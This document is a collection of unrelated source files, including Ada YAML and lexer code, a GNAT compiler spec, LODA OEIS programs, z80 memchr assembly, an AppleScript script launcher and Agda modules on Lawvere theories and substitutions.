function Find (Object : Instance; Alias : Text.Reference)
return Anchor_Cursor is
(Anchor_Cursor (Object.Anchor_Map.Find (Alias)));
function Exists_In_Output (Position : Anchor_Cursor) return Boolean is
(Anchor_To_Index.Element
(Anchor_To_Index.Cursor (Position)).Has_Been_Output);
procedure Set_Exists_In_Output (Object : in out Instance;
Position : Anchor_Cursor) is
procedure Process (Key : Text.Reference;
Element : in out Anchor_Info) is
pragma Unreferenced (Key);
begin
Element.Has_Been_Output := True;
end Process;
begin
Anchor_To_Index.Update_Element (Object.Anchor_Map,
Anchor_To_Index.Cursor (Position),
Process'Access);
end Set_Exists_In_Output;
procedure Advance (Position : in out Element_Cursor) is
begin
Position := Element_Cursor'Succ (Position);
end Advance;
procedure Advance_At_Same_Level (Object : Instance;
Position : in out Element_Cursor) is
Depth : Natural := 0;
begin
loop
case Object.Data (Positive (Position)).Kind is
when Annotation_Start | Sequence_Start | Mapping_Start |
Document_Start =>
Depth := Depth + 1;
when Annotation_End =>
Depth := Depth - 1;
when Sequence_End | Mapping_End | Document_End =>
Depth := Depth - 1;
if Depth = 0 then
Position := Element_Cursor'Succ (Position);
return;
end if;
when Scalar | Alias =>
if Depth = 0 then
Position := Element_Cursor'Succ (Position);
return;
end if;
when Stream_Start | Stream_End =>
raise Stream_Error with "Unexpected event inside stream: " &
Object.Data (Positive (Position)).Kind'Img;
end case;
Position := Element_Cursor'Succ (Position);
end loop;
end Advance_At_Same_Level;
procedure Clear (Object : in out Instance) is
begin
if Object.Stream_Count > 0 then
raise State_Error with
"cannot manipulate event queue while a Stream_Instance exists";
end if;
Object.Anchor_Map.Clear;
Object.Depth := 0;
end Clear;
procedure Copy (Source : in Instance; Target : in out Instance) is
begin
if Target.Data.all'Length /= Source.Data.all'Length then
Target.Finalize;
Target.Data := new Event_Array (Source.Data.all'Range);
end if;
Target.Data.all := Source.Data.all;
Target.Length := Source.Length;
Target.Anchor_Map := Source.Anchor_Map;
Target.Depth := Source.Depth;
end Copy;
function Retrieve (Object : Reference'Class; Position : Anchor_Cursor)
return Stream_Reference is
Ptr : constant not null Stream_Instance_Access :=
new Stream_Instance'(Refcount_Base with Object => Reference (Object),
Depth => 0, Current => Anchor_To_Index.Element
(Anchor_To_Index.Cursor (Position)).Position);
begin
Object.Data.Stream_Count := Object.Data.Stream_Count + 1;
return Stream_Reference'(Ada.Finalization.Controlled with Data => Ptr);
end Retrieve;
function Retrieve (Object : Reference'Class; Position : Element_Cursor)
return Stream_Reference is
Ptr : constant not null Stream_Instance_Access :=
new Stream_Instance'(Refcount_Base with Object => Reference (Object),
Depth => 0, Current => Positive (Position));
begin
Object.Data.Stream_Count := Object.Data.Stream_Count + 1;
return Stream_Reference'(Ada.Finalization.Controlled with Data => Ptr);
end Retrieve;
function Value (Object : Stream_Reference) return Stream_Accessor is
((Data => Object.Data));
function Next (Object : in out Stream_Instance) return Event is
begin
if Object.Depth = 1 then
raise Constraint_Error with
"tried to query item after end of anchored node";
end if;
return Item : constant Event := Object.Object.Data.Data (Object.Current) do
case Item.Kind is
when Scalar => Object.Depth := Natural'Max (1, Object.Depth);
when Mapping_Start | Sequence_Start =>
Object.Depth := Natural'Max (2, Object.Depth + 1);
when others => null;
end case;
Object.Current := Object.Current + 1;
end return;
end Next;
function Exists (Object : Optional_Stream_Reference) return Boolean is
(Object.Data /= null);
function Value (Object : Optional_Stream_Reference) return Stream_Accessor is
((Data => Object.Data));
function Optional (Object : Stream_Reference'Class)
return Optional_Stream_Reference is
begin
Object.Data.Refcount := Object.Data.Refcount + 1;
return (Ada.Finalization.Controlled with Data => Object.Data);
end Optional;
procedure Clear (Object : in out Optional_Stream_Reference) is
begin
if Object.Data /= null then
Decrease_Refcount (Object.Data);
Object.Data := null;
end if;
end Clear;
function First (Object : Instance; Position : Anchor_Cursor) return Event is
(Object.Data (Anchor_To_Index.Element (Anchor_To_Index.Cursor
(Position)).Position));
function Element (Object : Instance; Position : Element_Cursor)
return Event is
(Object.Data (Positive (Position)));
procedure Adjust (Object : in out Reference) is
begin
Increase_Refcount (Object.Data);
end Adjust;
procedure Finalize (Object : in out Reference) is
begin
Decrease_Refcount (Object.Data);
end Finalize;
procedure Adjust (Object : in out Optional_Reference) is
begin
if Object.Data /= null then
Increase_Refcount (Object.Data);
end if;
end Adjust;
procedure Finalize (Object : in out Optional_Reference) is
begin
if Object.Data /= null then
Decrease_Refcount (Object.Data);
end if;
end Finalize;
procedure Finalize (Object : in out Stream_Instance) is
begin
Object.Object.Data.Stream_Count := Object.Object.Data.Stream_Count - 1;
end Finalize;
procedure Adjust (Object : in out Stream_Reference) is
begin
Increase_Refcount (Object.Data);
end Adjust;
procedure Finalize (Object : in out Stream_Reference) is
begin
Decrease_Refcount (Object.Data);
end Finalize;
procedure Adjust (Object : in out Optional_Stream_Reference) is
begin
if Object.Data /= null then
Increase_Refcount (Object.Data);
end if;
end Adjust;
procedure Finalize (Object : in out Optional_Stream_Reference) is
begin
if Object.Data /= null then
Decrease_Refcount (Object.Data);
end if;
end Finalize;
function To_Element_Cursor (Position : Anchor_Cursor) return Element_Cursor
is (if Position = No_Anchor then No_Element else
Element_Cursor (Anchor_To_Index.Element (Anchor_To_Index.Cursor
(Position)).Position));
end Yaml.Events.Store;
|
programs/oeis/051/A051612.asm | neoneye/loda | 22 | 85366 | ; A051612: a(n) = sigma(n) - phi(n).
; 0,2,2,5,2,10,2,11,7,14,2,24,2,18,16,23,2,33,2,34,20,26,2,52,11,30,22,44,2,64,2,47,28,38,24,79,2,42,32,74,2,84,2,64,54,50,2,108,15,73,40,74,2,102,32,96,44,62,2,152,2,66,68,95,36,124,2,94,52,120,2,171,2,78,84,104,36,144,2,154,67,86,2,200,44,90,64,140,2,210,40,124,68,98,48,220,2,129,96,177
mov $1,$0
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
seq $1,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
sub $0,$1
|
gcc-gcc-7_3_0-release/gcc/ada/sem_disp.ads | best08618/asylo | 7 | 10805 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S E M _ D I S P --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2015, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package contains routines involved in tagged types and dynamic
-- dispatching.
with Types; use Types;
package Sem_Disp is
procedure Check_Controlling_Formals (Typ : Entity_Id; Subp : Entity_Id);
-- Check that all controlling parameters of Subp are of type Typ, that
-- defaults for controlling parameters are tag-indeterminate, and that the
-- nominal subtype of the parameters and result statically match the first
-- subtype of the controlling type. Issues appropriate error messages if
-- any of these requirements is not met.
procedure Check_Dispatching_Call (N : Node_Id);
-- Check if the call N is a dispatching call. The subprogram is known to be
-- a dispatching operation. The call is dispatching if all the controlling
-- actuals are dynamically tagged. This procedure is called after overload
-- resolution, so the call is known to be unambiguous.
procedure Check_Dispatching_Operation (Subp, Old_Subp : Entity_Id);
-- Add Subp to the list of primitive operations of the corresponding type
-- if it has a parameter of this type and is defined at a proper place for
-- primitive operations (new primitives are only defined in package spec,
-- overridden operation can be defined in any scope). If Old_Subp is not
-- Empty we are in the overriding case. If the tagged type associated with
-- Subp is a concurrent type (case that occurs when the type is declared
-- in a generic because the analysis of generics disables generation of the
-- corresponding record) then this routine does not add Subp to the list of
-- primitive operations but leaves Subp decorated as dispatching operation
-- to enable checks associated with the Object.Operation notation.
procedure Check_Operation_From_Incomplete_Type
(Subp : Entity_Id;
Typ : Entity_Id);
-- If a primitive operation was defined for the incomplete view of the
-- type, and the full type declaration is a derived type definition,
-- the operation may override an inherited one.
-- Need more description here, what are the parameters, and what does
-- this call actually do???
procedure Check_Operation_From_Private_View (Subp, Old_Subp : Entity_Id);
-- Add Old_Subp to the list of primitive operations of the corresponding
-- tagged type if it is the full view of a private tagged type. The Alias
-- of Old_Subp is adjusted to point to the inherited procedure of the
-- full view because it is always this one which has to be called.
-- What is Subp used for???
function Covers_Some_Interface (Prim : Entity_Id) return Boolean;
-- Returns true if Prim covers some interface primitive of its associated
-- tagged type. The tagged type of Prim must be frozen when this function
-- is invoked.
function Find_Controlling_Arg (N : Node_Id) return Node_Id;
-- Returns the actual controlling argument if N is dynamically tagged, and
-- Empty if it is not dynamically tagged.
function Find_Dispatching_Type (Subp : Entity_Id) return Entity_Id;
-- Check whether the subprogram Subp is dispatching, and find the tagged
-- type of the controlling argument or arguments. Returns Empty if Subp
-- is not a dispatching operation.
function Find_Primitive_Covering_Interface
(Tagged_Type : Entity_Id;
Iface_Prim : Entity_Id) return Entity_Id;
-- Search the homonym chain for the primitive of Tagged_Type that covers
-- Iface_Prim. The homonym chain traversal is required to catch primitives
-- associated with the partial view of private types when processing the
-- corresponding full view. If the entity is not found, then search for it
-- in the list of primitives of Tagged_Type. This latter search is needed
-- when the interface primitive is covered by a private subprogram. If the
-- primitive has not been covered yet then return the entity that will be
-- overridden when the primitive is covered (that is, return the entity
-- whose alias attribute references the interface primitive). If none of
-- these entities is found then return Empty.
type Subprogram_List is array (Nat range <>) of Entity_Id;
-- Type returned by Inherited_Subprograms function
function Inherited_Subprograms
(S : Entity_Id;
No_Interfaces : Boolean := False;
Interfaces_Only : Boolean := False;
One_Only : Boolean := False) return Subprogram_List;
-- Given the spec of a subprogram, this function gathers any inherited
-- subprograms from direct inheritance or via interfaces. The result is an
-- array of Entity_Ids of the specs of inherited subprograms. Returns a
-- null array if passed an Empty spec id. Note that the returned array
-- only includes subprograms and generic subprograms (and excludes any
-- other inherited entities, in particular enumeration literals). If
-- No_Interfaces is True, only return inherited subprograms not coming
-- from an interface. If Interfaces_Only is True, only return inherited
-- subprograms from interfaces. Otherwise, subprograms inherited directly
-- come first, starting with the closest ancestors, and are followed by
-- subprograms inherited from interfaces. At most one of No_Interfaces
-- and Interfaces_Only should be True.
--
-- If One_Only is set, the search is discontinued as soon as one entry
-- is found. In this case the resulting array is either null or contains
-- exactly one element.
function Is_Dynamically_Tagged (N : Node_Id) return Boolean;
-- Used to determine whether a call is dispatching, i.e. if it is
-- an expression of a class_Wide type, or a call to a function with
-- controlling result where at least one operand is dynamically tagged.
-- Also used to determine whether an entity has a class-wide type, or a
-- function call that dispatches on the result. Used to verify that all the
-- dependent expressions in a conditional expression are equally tagged.
function Is_Null_Interface_Primitive (E : Entity_Id) return Boolean;
-- Returns True if E is a null procedure that is an interface primitive
function Is_Overriding_Subprogram (E : Entity_Id) return Boolean;
-- Returns True if E is an overriding subprogram
function Is_Tag_Indeterminate (N : Node_Id) return Boolean;
-- Returns true if the expression N is tag-indeterminate. An expression
-- is tag-indeterminate if it is a call that dispatches on result, and all
-- controlling operands are also indeterminate. Such a function call may
-- inherit a tag from an enclosing call.
procedure Override_Dispatching_Operation
(Tagged_Type : Entity_Id;
Prev_Op : Entity_Id;
New_Op : Entity_Id;
Is_Wrapper : Boolean := False);
-- Replace an implicit dispatching operation of the type Tagged_Type
-- with an explicit one. Prev_Op is an inherited primitive operation which
-- is overridden by the explicit declaration of New_Op. Is_Wrapper is
-- True when New_Op is an internally generated wrapper of a controlling
-- function. The caller checks that Tagged_Type is indeed a tagged type.
procedure Propagate_Tag (Control : Node_Id; Actual : Node_Id);
-- If a function call is tag-indeterminate, its controlling argument is
-- found in the context: either an enclosing call, or the left-hand side
-- of the enclosing assignment statement. The tag must be propagated
-- recursively to the tag-indeterminate actuals of the call.
-- Need clear description of the parameters Control and Actual, especially
-- since the comments above refer to actuals in the plural ???
end Sem_Disp;
|
Ada/src/fakelib/fakedsp-background_tasks.ads | fintatarta/fakedsp | 0 | 11688 | with Fakedsp.Data_Streams;
with Fakedsp.Protected_Buffers;
with Fakedsp.Card;
--
-- This package defines the background task that does the data I/O
-- in parallel with the processing
--
private package Fakedsp.Background_Tasks is
task Adc_Dac is
entry Go (Buf_In : Protected_Buffers.Sample_Buffer_Access;
Buf_Out : Protected_Buffers.Sample_Buffer_Access;
Input : Data_Streams.Data_Source_Access;
Output : Data_Streams.Data_Destination_Access;
Handler : Card.Callback_Handler_Access);
entry Ready;
end Adc_Dac;
Adc_State : Protected_Buffers.State_Buffer;
end Fakedsp.Background_Tasks;
|
src/Categories/Theory/Lawvere.agda | bblfish/agda-categories | 5 | 5542 | {-# OPTIONS --without-K --safe #-}
-- a categorical (i.e. non-skeletal) version of Lawvere Theory,
-- as per https://ncatlab.org/nlab/show/Lawvere+theory
module Categories.Theory.Lawvere where
open import Data.Nat using (ℕ)
open import Data.Product using (Σ; _,_)
open import Level
open import Categories.Category.Cartesian.Structure
open import Categories.Category using (Category; _[_,_])
open import Categories.Category.Instance.Setoids
open import Categories.Category.Monoidal.Instance.Setoids using (Setoids-CartesianCategory)
open import Categories.Category.Product
open import Categories.Functor using (Functor; _∘F_) renaming (id to idF)
open import Categories.Functor.Cartesian
open import Categories.Functor.Cartesian.Properties
import Categories.Morphism as Mor
open import Categories.NaturalTransformation using (NaturalTransformation)
private
variable
o ℓ e o′ ℓ′ e′ o″ ℓ″ e″ : Level
record FiniteProduct (o ℓ e : Level) : Set (suc (o ⊔ ℓ ⊔ e)) where
field
T : CartesianCategory o ℓ e
module T = CartesianCategory T
open Mor T.U
field
generic : T.Obj
field
obj-iso-to-generic-power : ∀ x → Σ ℕ (λ n → x ≅ T.power generic n)
record LT-Hom (T₁ : FiniteProduct o ℓ e) (T₂ : FiniteProduct o′ ℓ′ e′) : Set (o ⊔ ℓ ⊔ e ⊔ o′ ⊔ ℓ′ ⊔ e′) where
private
module T₁ = FiniteProduct T₁
module T₂ = FiniteProduct T₂
field
cartF : CartesianF T₁.T T₂.T
module cartF = CartesianF cartF
LT-id : {A : FiniteProduct o ℓ e} → LT-Hom A A
LT-id = record { cartF = idF-CartesianF _ }
LT-∘ : {A : FiniteProduct o ℓ e} {B : FiniteProduct o′ ℓ′ e′} {C : FiniteProduct o″ ℓ″ e″} →
LT-Hom B C → LT-Hom A B → LT-Hom A C
LT-∘ G H = record { cartF = ∘-CartesianF (cartF G) (cartF H) }
where open LT-Hom
record T-Algebra (FP : FiniteProduct o ℓ e) : Set (o ⊔ ℓ ⊔ e ⊔ suc (ℓ′ ⊔ e′)) where
private
module FP = FiniteProduct FP
field
cartF : CartesianF FP.T (Setoids-CartesianCategory ℓ′ e′)
module cartF = CartesianF cartF
mod : Functor FP.T.U (Setoids ℓ′ e′)
mod = cartF.F
|
oeis/032/A032809.asm | neoneye/loda-programs | 11 | 80179 | <gh_stars>10-100
; A032809: Numbers whose set of base-9 digits is {2,3}.
; Submitted by <NAME>
; 2,3,20,21,29,30,182,183,191,192,263,264,272,273,1640,1641,1649,1650,1721,1722,1730,1731,2369,2370,2378,2379,2450,2451,2459,2460,14762,14763,14771,14772,14843,14844,14852,14853,15491,15492,15500,15501,15572,15573,15581,15582,21323,21324,21332,21333,21404,21405,21413,21414,22052,22053,22061,22062,22133,22134,22142,22143,132860,132861,132869,132870,132941,132942,132950,132951,133589,133590,133598,133599,133670,133671,133679,133680,139421,139422,139430,139431,139502,139503,139511,139512,140150
add $0,1
mov $2,1
lpb $0
mov $3,$0
mul $0,2
sub $0,1
div $0,4
add $3,1
mod $3,2
add $3,2
mul $3,$2
add $1,$3
mul $2,9
lpe
gcd $0,$1
|
test/grammars/Line.g4 | jlenoble/gulp-antlr4-newer | 0 | 6673 | <reponame>jlenoble/gulp-antlr4-newer
grammar Line;
file
: terminatedLine* line EOF
;
terminatedLine
: line EOL
;
line
: CHAR*
;
EOL
: ('\r\n'|[\n\r\u2028\u2029])
;
CHAR
: .
;
|
src/wax_api.asm | Chysn/wAx | 5 | 81151 | <gh_stars>1-10
; wAx API
EFADDR = $a6 ; effective address
X_PC = $03 ; External persistent counter
IDX_IN = $ae ; Input buffer index
IDX_OUT = $ad ; Output buffer index
Buff2Byte = $7000 ; Get 8-bit hex number from input buffer to A
CharGet = $7003 ; Get character from input buffer to A
CharOut = $7006 ; Write character in A to output buffer
EAtoPC = $7024 ; Copy effective address to persistent counter
Hex = $7009 ; Write value in A to output buffer 8-bit hex
IncAddr = $700c ; Get byte at EA and increment EA by one
IncPC = $700f ; Increment persistent counter
Lookup = $7012 ; Lookup 6502 instruction with operand in A
PrintBuff = $7015 ; Flush output buffer to screen
ResetIn = $7018 ; Reset input buffer index
ResetOut = $701b ; Reset output buffer index
ShowAddr = $701e ; Write effective address to output buffer
ShowPC = $7021 ; Write persistent counter to output buffer
Store = $0247 ; Plug-in storage (8 bytes) |
programs/oeis/309/A309715.asm | jmorken/loda | 1 | 244138 | <reponame>jmorken/loda
; A309715: Number of even parts appearing among the third largest parts of the partitions of n into 4 parts.
; 0,0,0,0,0,0,0,1,2,3,4,5,6,8,10,13,16,19,22,26,30,35,40,46,52,59,66,74,82,91,100,111,122,134,146,159,172,187,202,219,236,254,272,292,312,334,356,380,404,430,456,484,512,542,572,605,638,673,708,745,782,822,862,905,948,993,1038,1086,1134,1185,1236,1290,1344,1401,1458,1518,1578,1641,1704,1771,1838,1908,1978,2051,2124,2201,2278,2359,2440,2524,2608,2696,2784,2876,2968,3064,3160,3260,3360,3464,3568,3676,3784,3897,4010,4127,4244,4365,4486,4612,4738,4869,5000,5135,5270,5410,5550,5695,5840,5990,6140,6295,6450,6610,6770,6935,7100,7271,7442,7618,7794,7975,8156,8343,8530,8723,8916,9114,9312,9516,9720,9930,10140,10356,10572,10794,11016,11244,11472,11706,11940,12181,12422,12669,12916,13169,13422,13682,13942,14209,14476,14749,15022,15302,15582,15869,16156,16450,16744,17045,17346,17654,17962,18277,18592,18915,19238,19568,19898,20235,20572,20917,21262,21615,21968,22328,22688,23056,23424,23800,24176,24560,24944,25336,25728,26128,26528,26936,27344,27761,28178,28603,29028,29461,29894,30336,30778,31229,31680,32139,32598,33066,33534,34011,34488,34974,35460,35955,36450,36954,37458,37971,38484,39007,39530,40062,40594,41135,41676,42227,42778,43339,43900,44470,45040,45620,46200,46790,47380,47980,48580,49190,49800,50420,51040,51670,52300,52941,53582,54233
mov $3,$0
mov $5,$0
lpb $5
clr $0,3
mov $0,$3
sub $5,1
sub $0,$5
sub $0,1
lpb $0
mov $1,$0
sub $0,8
div $1,6
add $2,$1
lpe
add $4,$2
lpe
mov $1,$4
|
dsl/Annotation.g4 | jrop/calzone | 0 | 6860 | grammar Annotation;
annotation:
'@build'
| '@build' buildSpecs?
;
buildSpecs: (buildSpec '|>')* (buildSpec '|>'?);
buildSpec: ID | ID '(' parameterList? ')';
parameterList: (jsonLiteral ',')* jsonLiteral ','?;
/* BEGIN: JSON stuffs: */
jsonObject: '{' (jsonKeyValue ',')* (jsonKeyValue ','?)? '}';
jsonKeyValue: String ':' jsonLiteral | ID ':' jsonLiteral;
jsonArray: '[' (jsonLiteral ',')* (jsonLiteral ','?)? ']';
jsonLiteral: jsonObject | jsonArray | Boolean | Number | String | SString;
/* END: JSON stuffs */
Boolean: 'true'|'false';
Number: '-'? Decimal;
fragment Decimal: Digit+ | '.' Digit+ | Digit+ '.' | Digit+ '.' Digit+;
fragment Digit: [0-9];
String: '"' StringCharacters? '"';
fragment StringCharacters: StringCharacter+;
fragment StringCharacter: ~["\\] | EscapeSequence;
fragment EscapeSequence: '\\' [btnfr"'\\];
SString: '\'' SStringCharacters? '\'';
fragment SStringCharacters: SStringCharacter+;
fragment SStringCharacter: ~['] | EscapeSequence;
ID: [$_A-Za-z]+[$_A-Za-z0-9]*;
COMMENT: '/*' .*? '*/' -> skip;
LINE_COMMENT: '//' ~[\r\n]* -> skip;
WS: [ \t\r\n]+ -> skip;
|
libsrc/_DEVELOPMENT/string/z80/asm_memchr.asm | UnivEngineer/z88dk | 1 | 244200 |
; ===============================================================
; Dec 2013 / Dec 2021 feilipu
; ===============================================================
;
; void *memchr(const void *s, int c, size_t n)
;
; Return ptr to first occurrence of c among the first n chars of s.
;
; ===============================================================
SECTION code_clib
SECTION code_string
PUBLIC asm_memchr
PUBLIC asm0_memchr
EXTERN error_zc
asm_memchr:
; enter : a = char c
; hl = char *s
; bc = size_t n
;
; exit : a = char c
;
; char found
;
; carry reset
; hl = ptr to c
;
; char not found
;
; carry set
; z flag set if n == 0
; bc = 0
; hl = 0
;
; uses : f, bc, hl
inc c
dec c
jr Z,test0
asm0_memchr:
IF __CPU_INTEL__ || __CPU_GBZ80__
dec bc
inc b
inc c
loop:
cp (hl)
ret Z ; char found
inc hl
dec c
jr NZ,loop
dec b
jr NZ,loop
ELSE
cpir
dec hl
ret Z ; char found
ENDIF
notfound:
jp error_zc
test0:
inc b
dec b
jr NZ,asm0_memchr
jr notfound
|
Parser_Tools/src/implementation/lexer-base.adb | robdaemon/AdaYaml | 32 | 5650 | <gh_stars>10-100
-- part of ParserTools, (c) 2017 <NAME>
-- released under the terms of the MIT license, see the file "copying.txt"
with Ada.Unchecked_Deallocation;
package body Lexer.Base is
procedure Free is new Ada.Unchecked_Deallocation
(String, Buffer_Type);
subtype Line_End is Character with Static_Predicate =>
Line_End in Line_Feed | Carriage_Return | End_Of_Input;
procedure Init (Object : in out Instance; Input : Source.Pointer;
Initial_Buffer_Size : Positive :=
Default_Initial_Buffer_Size) is
begin
Object.Internal.Input := Input;
Object.Buffer := new String (1 .. Initial_Buffer_Size);
Object.Internal.Sentinel := Initial_Buffer_Size + 1;
Refill_Buffer (Object);
end Init;
procedure Init (Object : in out Instance; Input : String) is
begin
Object.Internal.Input := null;
Object.Buffer := new String (1 .. Input'Length + 1);
Object.Internal.Sentinel := Input'Length + 2;
Object.Buffer.all := Input & End_Of_Input;
end Init;
function Next (Object : in out Instance) return Character is
begin
return C : constant Character := Object.Buffer (Object.Pos) do
Object.Pos := Object.Pos + 1;
end return;
end Next;
procedure Refill_Buffer (L : in out Instance) is
Bytes_To_Copy : constant Natural := L.Buffer'Last + 1 - L.Internal.Sentinel;
Fill_At : Positive := Bytes_To_Copy + 1;
Bytes_Read : Positive;
function Search_Sentinel return Boolean with Inline is
Peek : Positive := L.Buffer'Last;
begin
while not (L.Buffer (Peek) in Line_End) loop
if Peek = Fill_At then
return False;
else
Peek := Peek - 1;
end if;
end loop;
L.Internal.Sentinel := Peek + 1;
return True;
end Search_Sentinel;
begin
if Bytes_To_Copy > 0 then
L.Buffer (1 .. Bytes_To_Copy) :=
L.Buffer (L.Internal.Sentinel .. L.Buffer'Last);
end if;
loop
L.Internal.Input.Read_Data
(L.Buffer (Fill_At .. L.Buffer'Last), Bytes_Read);
if Bytes_Read < L.Buffer'Last - Fill_At then
L.Internal.Sentinel := Fill_At + Bytes_Read + 1;
L.Buffer (L.Internal.Sentinel - 1) := End_Of_Input;
exit;
else
exit when Search_Sentinel;
Fill_At := L.Buffer'Last + 1;
declare
New_Buffer : constant Buffer_Type :=
new String (1 .. 2 * L.Buffer'Last);
begin
New_Buffer.all (L.Buffer'Range) := L.Buffer.all;
Free (L.Buffer);
L.Buffer := New_Buffer;
end;
end if;
end loop;
end Refill_Buffer;
procedure Handle_CR (L : in out Instance) is
begin
if L.Buffer (L.Pos) = Line_Feed then
L.Pos := L.Pos + 1;
else
raise Lexer_Error with "pure CR line breaks not allowed.";
end if;
L.Prev_Lines_Chars :=
L.Prev_Lines_Chars + L.Pos - L.Line_Start;
if L.Pos = L.Internal.Sentinel then
Refill_Buffer (L);
L.Pos := 1;
end if;
L.Line_Start := L.Pos;
L.Cur_Line := L.Cur_Line + 1;
end Handle_CR;
procedure Handle_LF (L : in out Instance) is
begin
L.Prev_Lines_Chars :=
L.Prev_Lines_Chars + L.Pos - L.Line_Start;
if L.Pos = L.Internal.Sentinel then
Refill_Buffer (L);
L.Pos := 1;
end if;
L.Line_Start := L.Pos;
L.Cur_Line := L.Cur_Line + 1;
end Handle_LF;
procedure Finalize (Object : in out Instance) is
procedure Free is new Ada.Unchecked_Deallocation
(Source.Instance'Class, Source.Pointer);
use type Source.Pointer;
begin
if Object.Internal.Input /= null then
Free (Object.Internal.Input);
end if;
end Finalize;
end Lexer.Base;
|
libsrc/_DEVELOPMENT/math/float/am9511/asm/8085/am32_switch_arg.asm | dikdom/z88dk | 1 | 171600 | <filename>libsrc/_DEVELOPMENT/math/float/am9511/asm/8085/am32_switch_arg.asm
;
; Copyright (c) 2022 <NAME>
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
; feilipu, January 2022
;
;-------------------------------------------------------------------------
SECTION code_clib
SECTION code_fp_am9511
PUBLIC asm_switch_arg
.asm_switch_arg
; Switch arguments
;
; Entry:
; Stack: left, right, ret1, ret0
;
; Exit:
; Stack: right, left, ret1
;
; Uses a, bc, de, hl
ld de,sp+8 ; left
ex de,hl
ld de,sp+4 ; right
ld b,4
.loop
ld c,(hl)
ld a,(de)
ex de,hl
ld (hl),c
ld (de),a
inc hl
inc de
dec b
jp NZ,loop
ret
|
File and Folder Actions/ScriptLauncher.applescript | rogues-gallery/applescript | 360 | 2757 | <reponame>rogues-gallery/applescript
--- a "launcher" for applescripts
--- enter the name of the script you would like to run and click "OK" or press the enter button on your keyboard
--- case does not matter, but spaces/special characters do. be sure to enter the script name exactly as it was saved.
--- this script will automatically add the ".scpt" extension to the name you enter.
--- default path is to a "scripts" folder located in Documents. Edit this line to relect the location of your scripts folder
set _Path to "/Users/YOURNAMEHERE/Documents/Scripts"
set scriptLaunch to text returned of (display dialog "Enter name of script to run" default answer "" buttons "OK" default button "OK")
if scriptLaunch contains "" then
error number -128
else if scriptLaunch contains scriptLaunch then
set scriptRun to _Path & "/" & scriptLaunch & ".scpt"
run script scriptRun
end if
scriptRun
--- http://www.github.com/unforswearing
|
deBruijn/Substitution/Data/Application/Application21.agda | nad/dependently-typed-syntax | 5 | 15821 | ------------------------------------------------------------------------
-- Lemmas related to application of substitutions
------------------------------------------------------------------------
-- The record below allows the application operation to be
-- "heterogeneous", applying substitutions containing one kind of term
-- to another kind of term. TODO: This results in some extra
-- complication—is it worth it?
open import Data.Universe.Indexed
module deBruijn.Substitution.Data.Application.Application21
{i u e} {Uni : IndexedUniverse i u e} where
import deBruijn.Context; open deBruijn.Context Uni
open import deBruijn.Substitution.Data.Application.Application
open import deBruijn.Substitution.Data.Basics
open import deBruijn.Substitution.Data.Map
open import deBruijn.Substitution.Data.Simple
open import Function using (_$_)
open import Level using (_⊔_)
import Relation.Binary.PropositionalEquality as P
open P.≡-Reasoning
-- Lemmas and definitions related to application.
record Application₂₁
{t₁} {T₁ : Term-like t₁}
{t₂} {T₂ : Term-like t₂}
-- Simple substitutions for the first kind of terms.
(simple₁ : Simple T₁)
-- Simple substitutions for the second kind of terms.
(simple₂ : Simple T₂)
-- A translation from the first to the second kind of terms.
(trans : [ T₁ ⟶⁼ T₂ ])
: Set (i ⊔ u ⊔ e ⊔ t₁ ⊔ t₂) where
open Term-like T₁ using () renaming (_⊢_ to _⊢₁_; _≅-⊢_ to _≅-⊢₁_)
open Term-like T₂ using ([_]) renaming (_⊢_ to _⊢₂_; _≅-⊢_ to _≅-⊢₂_)
open Simple simple₁
using ()
renaming ( id to id₁; sub to sub₁; var to var₁
; weaken[_] to weaken₁[_]; wk to wk₁
; wk-subst to wk-subst₁; wk-subst[_] to wk-subst₁[_]
; _↑ to _↑₁; _↑_ to _↑₁_; _↑⁺_ to _↑⁺₁_; _↑₊_ to _↑₊₁_
; _↑⋆_ to _↑⋆₁_; _↑⁺⋆_ to _↑⁺⋆₁_; _↑₊⋆_ to _↑₊⋆₁_
)
open Simple simple₂
using ()
renaming ( id to id₂; id[_] to id₂[_]; var to var₂
; weaken to weaken₂; weaken[_] to weaken₂[_]; wk to wk₂
; wk-subst to wk-subst₂; wk-subst[_] to wk-subst₂[_]
; _↑ to _↑₂; _↑_ to _↑₂_
)
field
application : Application T₁ T₂
open Application application
field
-- The two weakening functions coincide.
trans-weaken : ∀ {Γ σ τ} (t : Γ ⊢₁ τ) →
trans · (weaken₁[ σ ] · t) ≅-⊢₂
weaken₂[ σ ] · (trans · t)
-- The two variable inclusion functions coincide.
trans-var : ∀ {Γ σ} (x : Γ ∋ σ) → trans · (var₁ · x) ≅-⊢₂ var₂ · x
-- _/⊢_ and _/∋₁_ coincide for variables.
var-/⊢ : ∀ {Γ Δ σ} {ρ̂ : Γ ⇨̂ Δ} (x : Γ ∋ σ) (ρ : Sub T₁ ρ̂) →
var₂ · x /⊢ ρ ≅-⊢₂ trans · (x /∋ ρ)
-- Application of multiple substitutions to variables.
--
-- TODO: Remove?
app∋⋆ : ∀ {Γ Δ} {ρ̂ : Γ ⇨̂ Δ} → Subs T₁ ρ̂ → [ Var ⟶ T₂ ] ρ̂
app∋⋆ ε = var₂
app∋⋆ (ε ▻ ρ) = trans [∘] app∋ ρ
app∋⋆ (ρs ▻ ρ) = app ρ [∘] app∋⋆ ρs
infixl 8 _/∋⋆_
_/∋⋆_ : ∀ {Γ Δ σ} {ρ̂ : Γ ⇨̂ Δ} → Γ ∋ σ → Subs T₁ ρ̂ → Δ ⊢₂ σ /̂ ρ̂
